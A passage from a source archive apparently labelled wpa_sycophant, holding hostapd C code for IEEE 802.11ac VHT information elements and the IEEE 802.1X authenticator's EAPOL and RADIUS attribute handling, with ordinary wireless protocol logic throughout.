ETH_ALEN); pos += ETH_ALEN; } dl_list_for_each(realm, &hapd->conf->fils_realms, struct fils_realm, list) { if (realms == 0) break; realms--; os_memcpy(pos, realm->hash, 2); pos += 2; } *len = pos - len - 1; #endif /* CONFIG_FILS */ return pos; } wpa_sycophant-master/src/ap/ieee802_11_vht.c000066400000000000000000000316551377436615100211330ustar00rootroot00000000000000/* * hostapd / IEEE 802.11ac VHT * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of BSD license * * See README and COPYING for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "hostapd.h" #include "ap_config.h" #include "sta_info.h" #include "beacon.h" #include "ieee802_11.h" #include "dfs.h" u8 * hostapd_eid_vht_capabilities(struct hostapd_data *hapd, u8 *eid, u32 nsts) { struct ieee80211_vht_capabilities *cap; struct hostapd_hw_modes *mode = hapd->iface->current_mode; u8 *pos = eid; if (!mode) return eid; if (mode->mode == HOSTAPD_MODE_IEEE80211G && hapd->conf->vendor_vht && mode->vht_capab == 0 && hapd->iface->hw_features) { int i; for (i = 0; i < hapd->iface->num_hw_features; i++) { if (hapd->iface->hw_features[i].mode == HOSTAPD_MODE_IEEE80211A) { mode = &hapd->iface->hw_features[i]; break; } } } *pos++ = WLAN_EID_VHT_CAP; *pos++ = sizeof(*cap); cap = (struct ieee80211_vht_capabilities *) pos; os_memset(cap, 0, sizeof(*cap)); cap->vht_capabilities_info = host_to_le32( hapd->iface->conf->vht_capab); if (nsts != 0) { u32 hapd_nsts; hapd_nsts = le_to_host32(cap->vht_capabilities_info); hapd_nsts = (hapd_nsts >> VHT_CAP_BEAMFORMEE_STS_OFFSET) & 7; cap->vht_capabilities_info &= ~(host_to_le32(hapd_nsts << VHT_CAP_BEAMFORMEE_STS_OFFSET)); cap->vht_capabilities_info |= host_to_le32(nsts << VHT_CAP_BEAMFORMEE_STS_OFFSET); } /* Supported MCS set comes from hw */ os_memcpy(&cap->vht_supported_mcs_set, mode->vht_mcs_set, 8); pos += sizeof(*cap); return pos; } u8 * hostapd_eid_vht_operation(struct hostapd_data *hapd, u8 *eid) { struct ieee80211_vht_operation *oper; u8 *pos = eid; *pos++ = WLAN_EID_VHT_OPERATION; *pos++ = sizeof(*oper); oper = (struct ieee80211_vht_operation *) pos; os_memset(oper, 0, sizeof(*oper)); /* * center freq = 5 GHz + (5 * index) * So index 42 gives center freq 5.210 GHz * which is channel 42 in 5G band */ oper->vht_op_info_chan_center_freq_seg0_idx = hapd->iconf->vht_oper_centr_freq_seg0_idx; oper->vht_op_info_chan_center_freq_seg1_idx = hapd->iconf->vht_oper_centr_freq_seg1_idx; oper->vht_op_info_chwidth = hapd->iconf->vht_oper_chwidth; if (hapd->iconf->vht_oper_chwidth == 2) { /* * Convert 160 MHz channel width to new style as interop * workaround. */ oper->vht_op_info_chwidth = 1; oper->vht_op_info_chan_center_freq_seg1_idx = oper->vht_op_info_chan_center_freq_seg0_idx; if (hapd->iconf->channel < hapd->iconf->vht_oper_centr_freq_seg0_idx) oper->vht_op_info_chan_center_freq_seg0_idx -= 8; else oper->vht_op_info_chan_center_freq_seg0_idx += 8; } else if (hapd->iconf->vht_oper_chwidth == 3) { /* * Convert 80+80 MHz channel width to new style as interop * workaround. */ oper->vht_op_info_chwidth = 1; } /* VHT Basic MCS set comes from hw */ /* Hard code 1 stream, MCS0-7 is a min Basic VHT MCS rates */ oper->vht_basic_mcs_set = host_to_le16(0xfffc); pos += sizeof(*oper); return pos; } static int check_valid_vht_mcs(struct hostapd_hw_modes *mode, const u8 *sta_vht_capab) { const struct ieee80211_vht_capabilities *vht_cap; struct ieee80211_vht_capabilities ap_vht_cap; u16 sta_rx_mcs_set, ap_tx_mcs_set; int i; if (!mode) return 1; /* * Disable VHT caps for STAs for which there is not even a single * allowed MCS in any supported number of streams, i.e., STA is * advertising 3 (not supported) as VHT MCS rates for all supported * stream cases. */ os_memcpy(&ap_vht_cap.vht_supported_mcs_set, mode->vht_mcs_set, sizeof(ap_vht_cap.vht_supported_mcs_set)); vht_cap = (const struct ieee80211_vht_capabilities *) sta_vht_capab; /* AP Tx MCS map vs. STA Rx MCS map */ sta_rx_mcs_set = le_to_host16(vht_cap->vht_supported_mcs_set.rx_map); ap_tx_mcs_set = le_to_host16(ap_vht_cap.vht_supported_mcs_set.tx_map); for (i = 0; i < VHT_RX_NSS_MAX_STREAMS; i++) { if ((ap_tx_mcs_set & (0x3 << (i * 2))) == 3) continue; if ((sta_rx_mcs_set & (0x3 << (i * 2))) == 3) continue; return 1; } wpa_printf(MSG_DEBUG, "No matching VHT MCS found between AP TX and STA RX"); return 0; } u8 * hostapd_eid_wb_chsw_wrapper(struct hostapd_data *hapd, u8 *eid) { u8 bw, chan1, chan2 = 0; int freq1; if (!hapd->cs_freq_params.channel || !hapd->cs_freq_params.vht_enabled) return eid; /* bandwidth: 0: 40, 1: 80, 2: 160, 3: 80+80 */ switch (hapd->cs_freq_params.bandwidth) { case 40: bw = 0; break; case 80: /* check if it's 80+80 */ if (!hapd->cs_freq_params.center_freq2) bw = 1; else bw = 3; break; case 160: bw = 2; break; default: /* not valid VHT bandwidth or not in CSA */ return eid; } freq1 = hapd->cs_freq_params.center_freq1 ? hapd->cs_freq_params.center_freq1 : hapd->cs_freq_params.freq; if (ieee80211_freq_to_chan(freq1, &chan1) != HOSTAPD_MODE_IEEE80211A) return eid; if (hapd->cs_freq_params.center_freq2 && ieee80211_freq_to_chan(hapd->cs_freq_params.center_freq2, &chan2) != HOSTAPD_MODE_IEEE80211A) return eid; *eid++ = WLAN_EID_VHT_CHANNEL_SWITCH_WRAPPER; *eid++ = 5; /* Length of Channel Switch Wrapper */ *eid++ = WLAN_EID_VHT_WIDE_BW_CHSWITCH; *eid++ = 3; /* Length of Wide Bandwidth Channel Switch element */ *eid++ = bw; /* New Channel Width */ *eid++ = chan1; /* New Channel Center Frequency Segment 0 */ *eid++ = chan2; /* New Channel Center Frequency Segment 1 */ return eid; } u8 * hostapd_eid_txpower_envelope(struct hostapd_data *hapd, u8 *eid) { struct hostapd_iface *iface = hapd->iface; struct hostapd_config *iconf = iface->conf; struct hostapd_hw_modes *mode = iface->current_mode; struct hostapd_channel_data *chan; int dfs, i; u8 channel, tx_pwr_count, local_pwr_constraint; int max_tx_power; u8 tx_pwr; if (!mode) return eid; if (ieee80211_freq_to_chan(iface->freq, &channel) == NUM_HOSTAPD_MODES) return eid; for (i = 0; i < mode->num_channels; i++) { if (mode->channels[i].freq == iface->freq) break; } if (i == mode->num_channels) return eid; switch (iface->conf->vht_oper_chwidth) { case VHT_CHANWIDTH_USE_HT: if (iconf->secondary_channel == 0) { /* Max Transmit Power count = 0 (20 MHz) */ tx_pwr_count = 0; } else { /* Max Transmit Power count = 1 (20, 40 MHz) */ tx_pwr_count = 1; } break; case VHT_CHANWIDTH_80MHZ: /* Max Transmit Power count = 2 (20, 40, and 80 MHz) */ tx_pwr_count = 2; break; case VHT_CHANWIDTH_80P80MHZ: case VHT_CHANWIDTH_160MHZ: /* Max Transmit Power count = 3 (20, 40, 80, 160/80+80 MHz) */ tx_pwr_count = 3; break; default: return eid; } /* * Below local_pwr_constraint logic is referred from * hostapd_eid_pwr_constraint. * * Check if DFS is required by regulatory. */ dfs = hostapd_is_dfs_required(hapd->iface); if (dfs < 0) dfs = 0; /* * In order to meet regulations when TPC is not implemented using * a transmit power that is below the legal maximum (including any * mitigation factor) should help. In this case, indicate 3 dB below * maximum allowed transmit power. */ if (hapd->iconf->local_pwr_constraint == -1) local_pwr_constraint = (dfs == 0) ? 0 : 3; else local_pwr_constraint = hapd->iconf->local_pwr_constraint; /* * A STA that is not an AP shall use a transmit power less than or * equal to the local maximum transmit power level for the channel. * The local maximum transmit power can be calculated from the formula: * local max TX pwr = max TX pwr - local pwr constraint * Where max TX pwr is maximum transmit power level specified for * channel in Country element and local pwr constraint is specified * for channel in this Power Constraint element. */ chan = &mode->channels[i]; max_tx_power = chan->max_tx_power - local_pwr_constraint; /* * Local Maximum Transmit power is encoded as two's complement * with a 0.5 dB step. */ max_tx_power *= 2; /* in 0.5 dB steps */ if (max_tx_power > 127) { /* 63.5 has special meaning of 63.5 dBm or higher */ max_tx_power = 127; } if (max_tx_power < -128) max_tx_power = -128; if (max_tx_power < 0) tx_pwr = 0x80 + max_tx_power + 128; else tx_pwr = max_tx_power; *eid++ = WLAN_EID_VHT_TRANSMIT_POWER_ENVELOPE; *eid++ = 2 + tx_pwr_count; /* * Max Transmit Power count and * Max Transmit Power units = 0 (EIRP) */ *eid++ = tx_pwr_count; for (i = 0; i <= tx_pwr_count; i++) *eid++ = tx_pwr; return eid; } u16 copy_sta_vht_capab(struct hostapd_data *hapd, struct sta_info *sta, const u8 *vht_capab) { /* Disable VHT caps for STAs associated to no-VHT BSSes. */ if (!vht_capab || !hapd->iconf->ieee80211ac || hapd->conf->disable_11ac || !check_valid_vht_mcs(hapd->iface->current_mode, vht_capab)) { sta->flags &= ~WLAN_STA_VHT; os_free(sta->vht_capabilities); sta->vht_capabilities = NULL; return WLAN_STATUS_SUCCESS; } if (sta->vht_capabilities == NULL) { sta->vht_capabilities = os_zalloc(sizeof(struct ieee80211_vht_capabilities)); if (sta->vht_capabilities == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; } sta->flags |= WLAN_STA_VHT; os_memcpy(sta->vht_capabilities, vht_capab, sizeof(struct ieee80211_vht_capabilities)); return WLAN_STATUS_SUCCESS; } u16 copy_sta_vendor_vht(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ie, size_t len) { const u8 *vht_capab; unsigned int vht_capab_len; if (!ie || len < 5 + 2 + sizeof(struct ieee80211_vht_capabilities) || hapd->conf->disable_11ac) goto no_capab; /* The VHT Capabilities element embedded in vendor VHT */ vht_capab = ie + 5; if (vht_capab[0] != WLAN_EID_VHT_CAP) goto no_capab; vht_capab_len = vht_capab[1]; if (vht_capab_len < sizeof(struct ieee80211_vht_capabilities) || (int) vht_capab_len > ie + len - vht_capab - 2) goto no_capab; vht_capab += 2; if (sta->vht_capabilities == NULL) { sta->vht_capabilities = os_zalloc(sizeof(struct ieee80211_vht_capabilities)); if (sta->vht_capabilities == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; } sta->flags |= WLAN_STA_VHT | WLAN_STA_VENDOR_VHT; os_memcpy(sta->vht_capabilities, vht_capab, sizeof(struct ieee80211_vht_capabilities)); return WLAN_STATUS_SUCCESS; no_capab: sta->flags &= ~WLAN_STA_VENDOR_VHT; return WLAN_STATUS_SUCCESS; } u8 * hostapd_eid_vendor_vht(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; if (!hapd->iface->current_mode) return eid; *pos++ = WLAN_EID_VENDOR_SPECIFIC; *pos++ = (5 + /* The Vendor OUI, type and subtype */ 2 + sizeof(struct ieee80211_vht_capabilities) + 2 + sizeof(struct ieee80211_vht_operation)); WPA_PUT_BE32(pos, (OUI_BROADCOM << 8) | VENDOR_VHT_TYPE); pos += 4; *pos++ = VENDOR_VHT_SUBTYPE; pos = hostapd_eid_vht_capabilities(hapd, pos, 0); pos = hostapd_eid_vht_operation(hapd, pos); return pos; } u16 set_sta_vht_opmode(struct hostapd_data *hapd, struct sta_info *sta, const u8 *vht_oper_notif) { if (!vht_oper_notif) { sta->flags &= ~WLAN_STA_VHT_OPMODE_ENABLED; return WLAN_STATUS_SUCCESS; } sta->flags |= WLAN_STA_VHT_OPMODE_ENABLED; sta->vht_opmode = *vht_oper_notif; return WLAN_STATUS_SUCCESS; } void hostapd_get_vht_capab(struct hostapd_data *hapd, struct ieee80211_vht_capabilities *vht_cap, struct ieee80211_vht_capabilities *neg_vht_cap) { u32 cap, own_cap, sym_caps; if (vht_cap == NULL) return; os_memcpy(neg_vht_cap, vht_cap, sizeof(*neg_vht_cap)); cap = le_to_host32(neg_vht_cap->vht_capabilities_info); own_cap = hapd->iconf->vht_capab; /* mask out symmetric VHT capabilities we don't support */ sym_caps = VHT_CAP_SHORT_GI_80 | VHT_CAP_SHORT_GI_160; cap &= ~sym_caps | (own_cap & sym_caps); /* mask out beamformer/beamformee caps if not supported */ if (!(own_cap & VHT_CAP_SU_BEAMFORMER_CAPABLE)) cap &= ~(VHT_CAP_SU_BEAMFORMEE_CAPABLE | VHT_CAP_BEAMFORMEE_STS_MAX); if (!(own_cap & VHT_CAP_SU_BEAMFORMEE_CAPABLE)) cap &= ~(VHT_CAP_SU_BEAMFORMER_CAPABLE | VHT_CAP_SOUNDING_DIMENSION_MAX); if (!(own_cap & VHT_CAP_MU_BEAMFORMER_CAPABLE)) cap &= ~VHT_CAP_MU_BEAMFORMEE_CAPABLE; if (!(own_cap & VHT_CAP_MU_BEAMFORMEE_CAPABLE)) cap &= ~VHT_CAP_MU_BEAMFORMER_CAPABLE; /* mask channel widths we don't support */ switch (own_cap & VHT_CAP_SUPP_CHAN_WIDTH_MASK) { case VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ: break; case VHT_CAP_SUPP_CHAN_WIDTH_160MHZ: if (cap & VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ) { cap &= ~VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ; cap |= VHT_CAP_SUPP_CHAN_WIDTH_160MHZ; } break; default: cap &= ~VHT_CAP_SUPP_CHAN_WIDTH_MASK; break; } if (!(cap & VHT_CAP_SUPP_CHAN_WIDTH_MASK)) cap &= ~VHT_CAP_SHORT_GI_160; /* * if we don't support RX STBC, mask out TX STBC in the STA's HT caps * if we don't support TX STBC, mask out RX STBC in the STA's HT caps */ if (!(own_cap & VHT_CAP_RXSTBC_MASK)) cap &= ~VHT_CAP_TXSTBC; if (!(own_cap & VHT_CAP_TXSTBC)) cap &= ~VHT_CAP_RXSTBC_MASK; neg_vht_cap->vht_capabilities_info = host_to_le32(cap); } wpa_sycophant-master/src/ap/ieee802_1x.c000066400000000000000000002353671377436615100203670ustar00rootroot00000000000000/* * hostapd / IEEE 802.1X-2004 Authenticator * Copyright (c) 2002-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "crypto/md5.h" #include "crypto/crypto.h" #include "crypto/random.h" #include "common/ieee802_11_defs.h" #include "radius/radius.h" #include "radius/radius_client.h" #include "eap_server/eap.h" #include "eap_common/eap_wsc_common.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "p2p/p2p.h" #include "hostapd.h" #include "accounting.h" #include "sta_info.h" #include "wpa_auth.h" #include "preauth_auth.h" #include "pmksa_cache_auth.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "wps_hostapd.h" #include "hs20.h" /* FIX: Not really a good thing to require ieee802_11.h here.. (FILS) */ #include "ieee802_11.h" #include "ieee802_1x.h" #ifdef CONFIG_HS20 static void ieee802_1x_wnm_notif_send(void *eloop_ctx, void *timeout_ctx); #endif /* CONFIG_HS20 */ static void ieee802_1x_finished(struct hostapd_data *hapd, struct sta_info *sta, int success, int remediation); static void ieee802_1x_send(struct hostapd_data *hapd, struct sta_info *sta, u8 type, const u8 *data, size_t datalen) { u8 *buf; struct ieee802_1x_hdr *xhdr; size_t len; int encrypt = 0; len = sizeof(*xhdr) + datalen; buf = os_zalloc(len); if (buf == NULL) { wpa_printf(MSG_ERROR, "malloc() failed for " "ieee802_1x_send(len=%lu)", (unsigned long) len); return; } xhdr = (struct ieee802_1x_hdr *) buf; xhdr->version = hapd->conf->eapol_version; xhdr->type = type; xhdr->length = host_to_be16(datalen); if (datalen > 0 && data != NULL) os_memcpy(xhdr + 1, data, datalen); if (wpa_auth_pairwise_set(sta->wpa_sm)) encrypt = 1; #ifdef CONFIG_TESTING_OPTIONS if (hapd->ext_eapol_frame_io) { size_t hex_len = 2 * len + 1; char *hex = os_malloc(hex_len); if (hex) { wpa_snprintf_hex(hex, hex_len, buf, len); wpa_msg(hapd->msg_ctx, MSG_INFO, "EAPOL-TX " MACSTR " %s", MAC2STR(sta->addr), hex); os_free(hex); } } else #endif /* CONFIG_TESTING_OPTIONS */ if (sta->flags & WLAN_STA_PREAUTH) { rsn_preauth_send(hapd, sta, buf, len); } else { hostapd_drv_hapd_send_eapol( hapd, sta->addr, buf, len, encrypt, hostapd_sta_flags_to_drv(sta->flags)); } os_free(buf); } void ieee802_1x_set_sta_authorized(struct hostapd_data *hapd, struct sta_info *sta, int authorized) { int res; if (sta->flags & WLAN_STA_PREAUTH) return; if (authorized) { ap_sta_set_authorized(hapd, sta, 1); res = hostapd_set_authorized(hapd, sta, 1); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "authorizing port"); } else { ap_sta_set_authorized(hapd, sta, 0); res = hostapd_set_authorized(hapd, sta, 0); hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "unauthorizing port"); } if (res && errno != ENOENT) { wpa_printf(MSG_DEBUG, "Could not set station " MACSTR " flags for kernel driver (errno=%d).", MAC2STR(sta->addr), errno); } if (authorized) { os_get_reltime(&sta->connected_time); accounting_sta_start(hapd, sta); } } #ifndef CONFIG_FIPS #ifndef CONFIG_NO_RC4 static void ieee802_1x_tx_key_one(struct hostapd_data *hapd, struct sta_info *sta, int idx, int broadcast, u8 *key_data, size_t key_len) { u8 *buf, *ekey; struct ieee802_1x_hdr *hdr; struct ieee802_1x_eapol_key *key; size_t len, ekey_len; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; len = sizeof(*key) + key_len; buf = os_zalloc(sizeof(*hdr) + len); if (buf == NULL) return; hdr = (struct ieee802_1x_hdr *) buf; key = (struct ieee802_1x_eapol_key *) (hdr + 1); key->type = EAPOL_KEY_TYPE_RC4; WPA_PUT_BE16(key->key_length, key_len); wpa_get_ntp_timestamp(key->replay_counter); if (random_get_bytes(key->key_iv, sizeof(key->key_iv))) { wpa_printf(MSG_ERROR, "Could not get random numbers"); os_free(buf); return; } key->key_index = idx | (broadcast ? 0 : BIT(7)); if (hapd->conf->eapol_key_index_workaround) { /* According to some information, WinXP Supplicant seems to * interpret bit7 as an indication whether the key is to be * activated, so make it possible to enable workaround that * sets this bit for all keys. */ key->key_index |= BIT(7); } /* Key is encrypted using "Key-IV + MSK[0..31]" as the RC4-key and * MSK[32..63] is used to sign the message. */ if (sm->eap_if->eapKeyData == NULL || sm->eap_if->eapKeyDataLen < 64) { wpa_printf(MSG_ERROR, "No eapKeyData available for encrypting " "and signing EAPOL-Key"); os_free(buf); return; } os_memcpy((u8 *) (key + 1), key_data, key_len); ekey_len = sizeof(key->key_iv) + 32; ekey = os_malloc(ekey_len); if (ekey == NULL) { wpa_printf(MSG_ERROR, "Could not encrypt key"); os_free(buf); return; } os_memcpy(ekey, key->key_iv, sizeof(key->key_iv)); os_memcpy(ekey + sizeof(key->key_iv), sm->eap_if->eapKeyData, 32); rc4_skip(ekey, ekey_len, 0, (u8 *) (key + 1), key_len); os_free(ekey); /* This header is needed here for HMAC-MD5, but it will be regenerated * in ieee802_1x_send() */ hdr->version = hapd->conf->eapol_version; hdr->type = IEEE802_1X_TYPE_EAPOL_KEY; hdr->length = host_to_be16(len); hmac_md5(sm->eap_if->eapKeyData + 32, 32, buf, sizeof(*hdr) + len, key->key_signature); wpa_printf(MSG_DEBUG, "IEEE 802.1X: Sending EAPOL-Key to " MACSTR " (%s index=%d)", MAC2STR(sm->addr), broadcast ? "broadcast" : "unicast", idx); ieee802_1x_send(hapd, sta, IEEE802_1X_TYPE_EAPOL_KEY, (u8 *) key, len); if (sta->eapol_sm) sta->eapol_sm->dot1xAuthEapolFramesTx++; os_free(buf); } static void ieee802_1x_tx_key(struct hostapd_data *hapd, struct sta_info *sta) { struct eapol_authenticator *eapol = hapd->eapol_auth; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL || !sm->eap_if->eapKeyData) return; wpa_printf(MSG_DEBUG, "IEEE 802.1X: Sending EAPOL-Key(s) to " MACSTR, MAC2STR(sta->addr)); #ifndef CONFIG_NO_VLAN if (sta->vlan_id > 0) { wpa_printf(MSG_ERROR, "Using WEP with vlans is not supported."); return; } #endif /* CONFIG_NO_VLAN */ if (eapol->default_wep_key) { ieee802_1x_tx_key_one(hapd, sta, eapol->default_wep_key_idx, 1, eapol->default_wep_key, hapd->conf->default_wep_key_len); } if (hapd->conf->individual_wep_key_len > 0) { u8 *ikey; ikey = os_malloc(hapd->conf->individual_wep_key_len); if (ikey == NULL || random_get_bytes(ikey, hapd->conf->individual_wep_key_len)) { wpa_printf(MSG_ERROR, "Could not generate random " "individual WEP key."); os_free(ikey); return; } wpa_hexdump_key(MSG_DEBUG, "Individual WEP key", ikey, hapd->conf->individual_wep_key_len); ieee802_1x_tx_key_one(hapd, sta, 0, 0, ikey, hapd->conf->individual_wep_key_len); /* TODO: set encryption in TX callback, i.e., only after STA * has ACKed EAPOL-Key frame */ if (hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_WEP, sta->addr, 0, 1, NULL, 0, ikey, hapd->conf->individual_wep_key_len)) { wpa_printf(MSG_ERROR, "Could not set individual WEP " "encryption."); } os_free(ikey); } } #endif /* CONFIG_NO_RC4 */ #endif /* CONFIG_FIPS */ const char *radius_mode_txt(struct hostapd_data *hapd) { switch (hapd->iface->conf->hw_mode) { case HOSTAPD_MODE_IEEE80211AD: return "802.11ad"; case HOSTAPD_MODE_IEEE80211A: return "802.11a"; case HOSTAPD_MODE_IEEE80211G: return "802.11g"; case HOSTAPD_MODE_IEEE80211B: default: return "802.11b"; } } int radius_sta_rate(struct hostapd_data *hapd, struct sta_info *sta) { int i; u8 rate = 0; for (i = 0; i < sta->supported_rates_len; i++) if ((sta->supported_rates[i] & 0x7f) > rate) rate = sta->supported_rates[i] & 0x7f; return rate; } #ifndef CONFIG_NO_RADIUS static void ieee802_1x_learn_identity(struct hostapd_data *hapd, struct eapol_state_machine *sm, const u8 *eap, size_t len) { const u8 *identity; size_t identity_len; const struct eap_hdr *hdr = (const struct eap_hdr *) eap; if (len <= sizeof(struct eap_hdr) || (hdr->code == EAP_CODE_RESPONSE && eap[sizeof(struct eap_hdr)] != EAP_TYPE_IDENTITY) || (hdr->code == EAP_CODE_INITIATE && eap[sizeof(struct eap_hdr)] != EAP_ERP_TYPE_REAUTH) || (hdr->code != EAP_CODE_RESPONSE && hdr->code != EAP_CODE_INITIATE)) return; eap_erp_update_identity(sm->eap, eap, len); identity = eap_get_identity(sm->eap, &identity_len); if (identity == NULL) return; /* Save station identity for future RADIUS packets */ os_free(sm->identity); sm->identity = (u8 *) dup_binstr(identity, identity_len); if (sm->identity == NULL) { sm->identity_len = 0; return; } sm->identity_len = identity_len; hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "STA identity '%s'", sm->identity); sm->dot1xAuthEapolRespIdFramesRx++; } static int add_common_radius_sta_attr_rsn(struct hostapd_data *hapd, struct hostapd_radius_attr *req_attr, struct sta_info *sta, struct radius_msg *msg) { u32 suite; int ver, val; ver = wpa_auth_sta_wpa_version(sta->wpa_sm); val = wpa_auth_get_pairwise(sta->wpa_sm); suite = wpa_cipher_to_suite(ver, val); if (val != -1 && !hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_WLAN_PAIRWISE_CIPHER) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_WLAN_PAIRWISE_CIPHER, suite)) { wpa_printf(MSG_ERROR, "Could not add WLAN-Pairwise-Cipher"); return -1; } suite = wpa_cipher_to_suite(((hapd->conf->wpa & 0x2) || hapd->conf->osen) ? WPA_PROTO_RSN : WPA_PROTO_WPA, hapd->conf->wpa_group); if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_WLAN_GROUP_CIPHER) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_WLAN_GROUP_CIPHER, suite)) { wpa_printf(MSG_ERROR, "Could not add WLAN-Group-Cipher"); return -1; } val = wpa_auth_sta_key_mgmt(sta->wpa_sm); suite = wpa_akm_to_suite(val); if (val != -1 && !hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_WLAN_AKM_SUITE) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_WLAN_AKM_SUITE, suite)) { wpa_printf(MSG_ERROR, "Could not add WLAN-AKM-Suite"); return -1; } #ifdef CONFIG_IEEE80211W if (hapd->conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { suite = wpa_cipher_to_suite(WPA_PROTO_RSN, hapd->conf->group_mgmt_cipher); if (!hostapd_config_get_radius_attr( req_attr, RADIUS_ATTR_WLAN_GROUP_MGMT_CIPHER) && !radius_msg_add_attr_int32( msg, RADIUS_ATTR_WLAN_GROUP_MGMT_CIPHER, suite)) { wpa_printf(MSG_ERROR, "Could not add WLAN-Group-Mgmt-Cipher"); return -1; } } #endif /* CONFIG_IEEE80211W */ return 0; } static int add_common_radius_sta_attr(struct hostapd_data *hapd, struct hostapd_radius_attr *req_attr, struct sta_info *sta, struct radius_msg *msg) { char buf[128]; if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_SERVICE_TYPE) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_SERVICE_TYPE, RADIUS_SERVICE_TYPE_FRAMED)) { wpa_printf(MSG_ERROR, "Could not add Service-Type"); return -1; } if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_NAS_PORT) && sta->aid > 0 && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_NAS_PORT, sta->aid)) { wpa_printf(MSG_ERROR, "Could not add NAS-Port"); return -1; } os_snprintf(buf, sizeof(buf), RADIUS_802_1X_ADDR_FORMAT, MAC2STR(sta->addr)); buf[sizeof(buf) - 1] = '\0'; if (!radius_msg_add_attr(msg, RADIUS_ATTR_CALLING_STATION_ID, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_ERROR, "Could not add Calling-Station-Id"); return -1; } if (sta->flags & WLAN_STA_PREAUTH) { os_strlcpy(buf, "IEEE 802.11i Pre-Authentication", sizeof(buf)); } else { os_snprintf(buf, sizeof(buf), "CONNECT %d%sMbps %s", radius_sta_rate(hapd, sta) / 2, (radius_sta_rate(hapd, sta) & 1) ? ".5" : "", radius_mode_txt(hapd)); buf[sizeof(buf) - 1] = '\0'; } if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_CONNECT_INFO) && !radius_msg_add_attr(msg, RADIUS_ATTR_CONNECT_INFO, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_ERROR, "Could not add Connect-Info"); return -1; } if (sta->acct_session_id) { os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) sta->acct_session_id); if (!radius_msg_add_attr(msg, RADIUS_ATTR_ACCT_SESSION_ID, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_ERROR, "Could not add Acct-Session-Id"); return -1; } } if ((hapd->conf->wpa & 2) && !hapd->conf->disable_pmksa_caching && sta->eapol_sm && sta->eapol_sm->acct_multi_session_id) { os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) sta->eapol_sm->acct_multi_session_id); if (!radius_msg_add_attr( msg, RADIUS_ATTR_ACCT_MULTI_SESSION_ID, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_INFO, "Could not add Acct-Multi-Session-Id"); return -1; } } #ifdef CONFIG_IEEE80211R_AP if (hapd->conf->wpa && wpa_key_mgmt_ft(hapd->conf->wpa_key_mgmt) && sta->wpa_sm && (wpa_key_mgmt_ft(wpa_auth_sta_key_mgmt(sta->wpa_sm)) || sta->auth_alg == WLAN_AUTH_FT) && !hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_MOBILITY_DOMAIN_ID) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_MOBILITY_DOMAIN_ID, WPA_GET_BE16( hapd->conf->mobility_domain))) { wpa_printf(MSG_ERROR, "Could not add Mobility-Domain-Id"); return -1; } #endif /* CONFIG_IEEE80211R_AP */ if ((hapd->conf->wpa || hapd->conf->osen) && sta->wpa_sm && add_common_radius_sta_attr_rsn(hapd, req_attr, sta, msg) < 0) return -1; return 0; } int add_common_radius_attr(struct hostapd_data *hapd, struct hostapd_radius_attr *req_attr, struct sta_info *sta, struct radius_msg *msg) { char buf[128]; struct hostapd_radius_attr *attr; int len; if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_NAS_IP_ADDRESS) && hapd->conf->own_ip_addr.af == AF_INET && !radius_msg_add_attr(msg, RADIUS_ATTR_NAS_IP_ADDRESS, (u8 *) &hapd->conf->own_ip_addr.u.v4, 4)) { wpa_printf(MSG_ERROR, "Could not add NAS-IP-Address"); return -1; } #ifdef CONFIG_IPV6 if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_NAS_IPV6_ADDRESS) && hapd->conf->own_ip_addr.af == AF_INET6 && !radius_msg_add_attr(msg, RADIUS_ATTR_NAS_IPV6_ADDRESS, (u8 *) &hapd->conf->own_ip_addr.u.v6, 16)) { wpa_printf(MSG_ERROR, "Could not add NAS-IPv6-Address"); return -1; } #endif /* CONFIG_IPV6 */ if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_NAS_IDENTIFIER) && hapd->conf->nas_identifier && !radius_msg_add_attr(msg, RADIUS_ATTR_NAS_IDENTIFIER, (u8 *) hapd->conf->nas_identifier, os_strlen(hapd->conf->nas_identifier))) { wpa_printf(MSG_ERROR, "Could not add NAS-Identifier"); return -1; } len = os_snprintf(buf, sizeof(buf), 